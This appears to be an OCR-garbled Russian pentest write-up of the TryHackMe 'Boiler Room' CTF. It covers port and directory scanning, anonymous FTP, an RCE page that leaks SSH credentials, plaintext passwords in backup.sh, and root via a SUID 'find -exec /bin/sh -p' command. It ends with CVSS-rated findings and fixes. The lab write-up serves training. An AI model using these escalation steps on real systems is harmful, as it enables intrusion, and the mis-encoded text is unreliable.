OTyer

¢/ Wcnonuutenb

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hukonaem, HauMHaowWmm cneumanmcTomM no
MHpopMaLMoHHON BesonacHocTu B 21:33 (xopowasi KoMHama, HoO Orisi MeHS1 200Umcs Kak
05151 pasMUuHKU. 00HaKko Hosu4kam 51 6bl nocosemosari)

ObnacTtb TeCTUPOBaAHUA U UCNOSNb30BaHHbIE CIYXObl.

IP/pomeH Mopt CepBuc CepBuc ueneBoro cepBepa
localhost 5901  WinKexServer -
localhost - Nmap Port Scanner -
localhost - DirBuster Directory Scanner -
localhost - Obsidian Notes -
localhost - hashcat hash cracker -
10.10.77.106 80 httpd Web Server +
10.10.77.106 21 FTPd +
10.10.77.106 55007 SSH +

Ucnonb3oBaHHbIe hannbl:

log.txt - hann ¢ gaHHLIMKM Nonb3oBaTens Ans NoAKIYeHns ssh.
backup.sh - panin ¢ gaHHbIMK Apyroro nonb3oBaTens.

.secret - chnar.

root.txt - cpnar.

NMopsaaok nencreun

1) 3anyck openvpn ana gocrtyna; kex ansa toro, 4ToObl caenaTb
linux ynobHee

kex ——win && sudo openvpn lab_Kolya080808.ovpn



2) CkaHMpoBaHu/e NopToB C NOMOLbLIO hmap.

Pesynerathl:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:

| FTP server status:

| Connected to ::ffff:10.9.3.5

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 3

| vsFTPd 3.0.3 - secure, fast, stable

| _End of status

| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| _http-title: Apache2 Ubuntu Default Page: It works

| http-robots.txt: 1 disallowed entry

|_/

| _http-server-header: Apache/2.4.18 (Ubuntu)

10000/tcp open http MiniServ 1.930 (Webmin httpd)
| _http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: 0S: Unix

3) 3anyck Gobuster ona noncka ANpPeKTopumn.

Pesynerarthi:

|_—(kolya080808®mikolapc)—[~]
$ gobuster dir -w directory-list-2.3-medium.txt -u
http://10.10.77.106/joomla/ -b ueu

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.77.106/joomla/
[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt

[+] Negative Status codes:  u4oU



[+] User Agent:
[+] Timeout:

gobuster/3.6
10s

Starting gobuster in directory enumeration

/images
http://10.10.77.
/templates
http://10.10.
/media
http://160.
/modules
http://10.
/tests
http://10.
/bin
http://10.
/plugins
http://160.
/includes
http://10.
/language
http://10.10.
/components
http://10.10.
/cache
http://16.10.
/libraries
http://10.10.77.
/installation
http://10.10.77.
/build
http://10.10.77.
/tmp
http://10.10.77.
/layouts
http://10.10.77.
/administrator
http://10.10.77.
/cli
http://10.10.77.
/_files
http://10.10.77.

77.
10.77.
10.77
10.77.
10.77.
10.77.
10.77.
77
77.

77.

(Status: 301) [Size:
106/joomla/images/]
(Status: 301) [Size:
106/joomla/templates/]
(Status: 301) [Size:
106/joomla/media/]
(Status: 301) [Size:

.106/joomla/modules/]

(Status: 301) [Size:
106/joomla/tests/]

(Status: 301) [Size:
106/joomla/bin/]

(Status: 301) [Size:
106/joomla/plugins/]

(Status: 301) [Size:
106/joomla/includes/]

(Status: 301) [Size:

.106/joomla/language/]

(Status: 301) [Size:
106/joomla/components/]
(Status: 301) [Size:
106/joomla/cache/]
(Status: 301) [Size:
106/joomla/libraries/]
(Status: 301) [Size:
106/joomla/installation/]
(Status: 301) [Size:
106/joomla/build/]
(Status: 301) [Size:
106/joomla/tmp/]
(Status: 301) [Size:
106/joomla/layouts/]
(Status: 301) [Size:
106/joomla/administrator/]
(Status: 301) [Size:
106/joomla/cli/]
(Status: 301) [Size:
106/joomla/_files/]

Progress: 220560 / 220561 (100.00%)

319]

321]

319]

3171

321]

322]

322]

324]

319]

323]

326]

319]

317]

321]

3271

317]

[——>

[——>

[——>

[——>

[——>

[——>




Finished

4) CHayana A npocTo oTragan oAuH U3 OTBETOB.

Pesynbrar:

Task1 @ Questions#1 =

Intermediate level CTF. Just enumerate, you'll get there. P Start Machine

Answer the questions below

File extension after anon login

v Correct Answer

5) 3atem Mbl 3axoaum B ftp n obHapyxnBaem BOT 3TO:

Pesynbrar:

irectory -

6) 5 ero 3arpy3un n HU4YEro UHTEPECHOro He Hawers, Hac NPocTo
NOTPONNUNMN:



Pesynbrar:

i ago - Version 10 is here! Read about the new features here Options !

ol B8 Input

Whfg jnagrq gb frr vs lbh svagq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!

hars

Output

Just wanted to see if you find it. Lol. Remember: Enumeration is the key!

7) MoTomM A nocmoTpen Ha cauT (a ToyHee Ha aupeKkTopuro /joomla):

Pesynbrar:

(=] About Us X+

€« X @ QO A 101077

KaliLinwx @ KaliTools « KaliDocs ¥ Kali Forums X Kali NetHunter = Exploit-DB  Google Hacking DB

THM Boiler Room
About Us News

Side Module

This is a module where you
might want to add some more
information or an image, a link
10 your social media presence
or whatever makes sense for

your site

You can edit this module in the
module manager. Look for the

Creating Your Site Side Module.

Det o~

= B Login Form

=)
Joomial i all about allowing you 1o create a site that maches your vision. The possibiies are limitess; this sample site
wil get you started. a
There are a few things you should know to get you started [JRemember Ma
Every Joomlal website has two parts: the Site (which is what your site vistors see) and the Adminisrator (which is where

you wil do a ot of the site management). You need to log in to the Administrator separately with the same username and
password. There is a link to the administrator on the top menu that you will see when you log in.

1t your username’
orgot your p: ?

You can edit ariicles in the Site by clicking on the editicon. You can create a new article by clicking on the Create Article
link in the top menu.

To do basic changes to the appearance your site click Home, Site Settings and Home, Template Settings.

To do more advanced things, ke edit the contact form, manage users, or install a new template or extension, login o the
Administrator.

8) Tak kak gobuster HU4ero MHTepecHOro Ham He Hawen, A
nonpo6oBan No aHanorMmM ¢ /_files 3aUTU Ha /_test nTam A
Hawen RCE:



Pesynbrar:

T mEEe 9

B 10.10.77.106/joomla/_test/

= C @ O & 10.10.77.106

Kali Linux #& KaliTools +' KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB Google Hacking (]

sarzhtmil
(Donais if you liket) COLLECTING SAR DATA
M at log.txt 1. Use sarZasch to generale a report

+ Download following tool to collect sar data from servers: sar2ascii tar
+ Uintar it on the server which you will examing perfurma.nc.e data.

Select Host o + For HPUX servers run "sh sar2ascii”

Select Host nder tmp directory.

port” button to uploa

HPUX t

Li roune

Sunl>

wond and click "Cap
Aug 20 11:16:26 parrot sshd[2443): Server listening on 0.0.0.0 port 22. mmanid prompt

Aug 20 11:16:26 parrot sshd[2443): Server listening on :: port 22 fing lines to crontab:

Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperpf

Aug 20 11:16:35 parrot sshd[2457): pam_unix(sshd:session): session opened for user pentest by (uid=0)

Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 1:16:36 parrot sshd[2451]): pam_unix(sshd:session): session closed for user pentest

Aug 2012:24:38 parrot sshd[2443]: Received signal 13; terminating.

W N N W

Plotting tools, sarZhiml and index.php only run on Linux server.

HPUX 11.11, 11.23, 11,31, Redhat 3,4, 5,6, 7, Suse 8, 9, 10, 11, 12, Ubuntu 18 and S
Install Apache2, PhpS, Expect and GnuPlot with png support {Suse11 is recommendet
Edit php.ini file and set

upload_max_filesize™ to 2GB.

post_may_size to BOMB,

Exiract sar?himl.tar.gz under root directory of your web server or create subdirectory fi
Run "Jsar2html -c in order to configure sar2himl. You need to know apache user and

9) Hanpga naponb, A NONbITANCA 3aUTU NO YKa3aHHOMY MOPTbI NO
ssh, HO TLWeTHO:

Pesynbrar:

10) MoaTomy S nonbiTanca B APYrux Mectax BBECTU AlaHHble, HO B
uTore s nonan B TYNUK:



Pesynbrar:

3 ¥ THM Boiler Room - Admi: X

« @ O a

o+ 10.10.77.106

KaliLinux g KaliTools = Kali Docs & Save password for http://10.10.77.106?

name

basterd

Password

Notnow  ~

£ Joomlar

Warning

11) MNoaTomy A ewe pa3 npoBen ckaHupoBaHue noptoB ¢ 49824
nopta no 57000 1 HaLes TO YTO HYXHO:

Pesynbrar:
PORT STATE SERVICE VERSION
55007/tcp open ssh OpenSSH 7.2p2 Ubuntu dubuntu2.8 (Ubuntu Linux;

protocol 2.0)
| ssh-hostkey:

| 2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)

| 256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
|_ 256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel



W cHoBa pesynbrar:

186 -p 5587
[18.16.77.186]:55087 ([1©.18.77.186]:
c SAmY+uTmthQelOzwxR viMNZhrYkdao
sure you want to
1: Permanently added [
i 'S passwo
6.84.6 LTS

* Support:

ges can be updated.
tes are security updates.

Thu Aug 2:

=1

12) NMonyuuB pgoctyn K SSH, a1 nocmoTpen Ha ¢gannbl n Hawen
WHTEepeCHbIN, coaepXxalmn UMs Nonb3oBaTens U Nnaposib Apyroro
o3epa B cucteme:



Pesynbrar:

Last login: Thu Aug 22 12:29:45 2819 from 192.168.1.199
% 1s

backup.sh

$ cat backup.sh

REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck. log
DATE="date +%y\.%m\.%d\."

USER=5toner
#superduperp@$$nolknows

ssh $USER@$REMOTE mkdir $TARGET/$DATE

if [ -d "$SOURCE"™ ]; then
for i in “1s $SOURCE grep "data’” ;do
echo "Begining copy of" %i >> $LOG
scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
echo $i "completed” »>»> $LOG

if [ -n “ssh $USER@$REMOTE 1s $TARGET/$DATE/$i 2>/dev/null”

rm $SOURCE/$1
echo $i "removed" »»> $LOG
echo "#HHHHHHEREE" 5> $L0G
else
echo "Copy not complete"™ >> $LOG
exit @

else
echo "Directory is not present” »> $LOG

exit @
L

Hy Mmbl MeHieM nonb3oBaTena U YMtaem .secret:

Pesynbrar:

% su stoner

Password:

stonergVulnerable: /home/basterd$ ls
1s: cannot open directory ' Permission denied
stonergVulnerable: /home/basterd$ cd ~
stonergVulnerable:~% 1s -1la

total 16

druxr-x--- 3 stoner stoner 4896 Aug 22
drwxr-xr-x 4 root root 4896 Aug 22
druxrwxr-x 2 stoner stoner 4896 Aug 22
-rW-r--r-- 1 stoner stoner 34 Aug 21
stonergVulnerable:~% cat secret

cat: secret: No such file or directory
stonergVulnerable:~% cat .secret

ou made it till here, well done.

];then




14) CMOTpI/IM KakK Mbl MOXeéM NOBbICUTb NpuBeninernn.

Pesynbrar:

stonergVulnerable:~% find / -perm -48866 2>/dev/null
/bin/su

Sbin/fusermount

JSbin/umount

/bin/mount

/bin/ping6

/bin/pi

fusr/1lib,

fusr/lib/
fusr/lib/openssh/ssh-keysign
Jusr/lib/eject/dmcrypt-get-device

fusr/bin/newuidmap

15) NMoBbIwaem npuBensnerun ¢ nomoubio findu yntaem root.txt:

Pesynbrar:

n_i\‘.".ulruer-.al;l:e:m% find . -exec /bin/sh -p \; -quit

(stoner) gid-1@ee(stoner) euid-e(root) groups=18e8(stoner),4(adm om),30(dip),46(plugdev),110(1lxd),115(1padmin), 116(sambashare)

file or direc
: not found

¢ MpumeyaHne
Xopoluasi KoOMHaTa, MOXHO CKasaTb Aaxe Ans pasorpesa.

CoseTtyto nponTtn ee HoBmykam! Cnacubo TryHackMe 3a komHaTty!

HanaeHHble ya3BMMocCcTHn

Information Disclosure


https://gtfobins.github.io/gtfobins/find/#suid

PoC:

ol B B R e

= 1010971 oomla/_testfin X +

O A 10.10.77.106

Kali Linux #& KaliTools + KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB Google Hacking [

sarzhtmil
(Donats if you likel) COLLECTING SAR DATA
Mew cat log.ixt 1. Use sar?asch to generale a report
+ Download following tool to collect sar data from servers: sardasci tar
« Untar it on the server which you will examine performance data
Select Host W « For HPUX servers run “sh sar2ascii

Select Host
HPUX
Lirume

Sun05

Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.

Aug 20 11:16:26 parrot sshd[2443]: Server listening on = port 22

nder ftmp directory,
port” button to uploa
L

word and click "Capi
mimand promipl

ling lines to crontab;

Aug 20 11:16:35 parrot sshd[2457): Accepted password for basterd from 10.1.1.7 port 49824 ssh2 #pass: superduperp@55

Aug 20 11:16:35 parrot sshd[2451]: pam_unix{sshd:session): session opened for user pentest by (uid=0)

Aug 20 1:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user

Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824

Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest

Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

B N E AW

(NyHKT 8)
CVSSv3 Score: 7.9 (Critical)

OnucaHue:

Plotting tools, sarZhtml and index.php only run on Linux server.

HPUX 11.11, 11.23, 11,31, Redhat 3, 4,5, 6, 7, Suse 8, 9, 10, 11, 12, Ubuntu 18 and S
Install Apache?, Php5, Expect and GnuPlot with png support (Suse11 is recommender
Edit php.ini file and set:

upload_max_filesize to 2GB.

post_max_size to BOMB,

Extract sar2himl.tar.gz under root directory of your web semnver or create subdirectory §i
Run "JsarZhtml -c* in order to configure sar2himl, You need to know apache user and

B naHHoM cnyyae information disclosure cBsidaHa ¢ HenpaBubHO HACTPOEHHbLIMU NMpaBaMu K

ctpaHuue ¢ RCE.

Bocn poun3BegeHne ya3aBmmMmoOCTU:

CootBetcTtByeT PoC.

PekomeHAaumm no ycTpaHeHMUIo:

Orpan-lee OOCTyn K AaHHoM CTpaHuue.



CospaiitTe cucteMy nonb3oBaTtenen 1 caenanTte Tak, YTobbl TONbKO aAMUHUCTPATOPSI
nonyyanu K 3Toi cTpaHuue AoCTyn.

Ncnpaebte RCE.

Remote code execution

PoC:

“mPpE 9okl

10.10.77.10 omla/_test/in * +

O A& 10.10.77.106

KaliLinux #& KaliTools < KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB Google Hacking [

sarZhitml
(Donats if you likef) COLLECTING SAR DATA
M cat log. it 1, Use sar2asce to generate a report
+ Download following tool o collect sar data from servers; sar2ascii tar
+ Uniar it on the server which you will examine performance data
Select Host W « For HPUX servers run “sh sar2asci”
Select Host inder tmp directory.
ot button to 08

HPUX P o

Li e

Sun05

word and click "Cap

Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22. mmand prompt

Aug 20 11:16:26 parrot sshd[2443]: Server listening on = port 22 ing lines to crontab:

Aug 20 11:16:35 parrot sshd[2457]: Accepted password for basterd from 10.1.1.7 port 49824 ssh2 #pass: superduperp ._$$

Aug 20 11:16:35 parrot sshd[2451]: pam_unix{sshd:session): session opened for user pentest by (uid=0)

Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 1:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824

Aug 20 11:16:36 parrot sshd[2451]: pam_unix{sshd:session): session closed for user pentest

Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

AW e N W N W

Plotting tools, sar2himl| and index.php only run on Linux server.

HPUX 11.11, 11.23, 11,31, Redhat 3, 4,5, 6, 7, Suse 8, 9, 10, 11, 12, Ubuntu 18 and &
Install Apache2, Phpd, Expect and GnuPlot with png support {Suse 11 is recommendet
Edit php.ini fle and set:

upload_max_filesize to 2GB.

post_max_size to BOMB,

Extract sar2htmi. tar.gz under root directory of your web semnver or create subdirectory fi
Run “Jsar2html -c* in order to configure sar2himl, You need to know apache user and

% & @

-

(MyHKT 8)
CVSSv3 Score: 10.0 (Critical)

OnucaHue:

RCE npencrtaendaeT cobon HenpaBuUIibHO HanMcaHHbIN Koa CTpaHunubl, KOTOprI7I B CBOIO
o4yepenb rnpu onpegesnieHHbIX nDencTBusax gaet OOCTyn K shell npun nomMmoLin 6pay3epa.

BocnpousBeneHue ya3BMMOCTMU:



CootBetcTtByeT PoC.
PeKOMeH,EI,aLIMM NOo YCTPAHEHUIO:

lMocmoTpuTe Ha JaHHOM canTe Kak ero MOXHO UCNpaBuUTb.

Tak ke cTtouT rmanyTb caut OVWASP ans ero nucnpasneHus.

Bupeo BbINONHeHUs

OpwvrmnHan:

€ OBS 3023 - Mpodmns: e razsanua - Cuersi Bes HassanmA a X
@aiin(F) Mpaska (E) Bwa(vY) ok (D)

+tE 0 A C1:

SO m = (o]

YouTube


https://www.vaadata.com/blog/rce-remote-code-execution-exploitations-and-security-tips/
https://owasp.org/www-community/attacks/Code_Injection
https://youtu.be/RQW6upP5vaQ

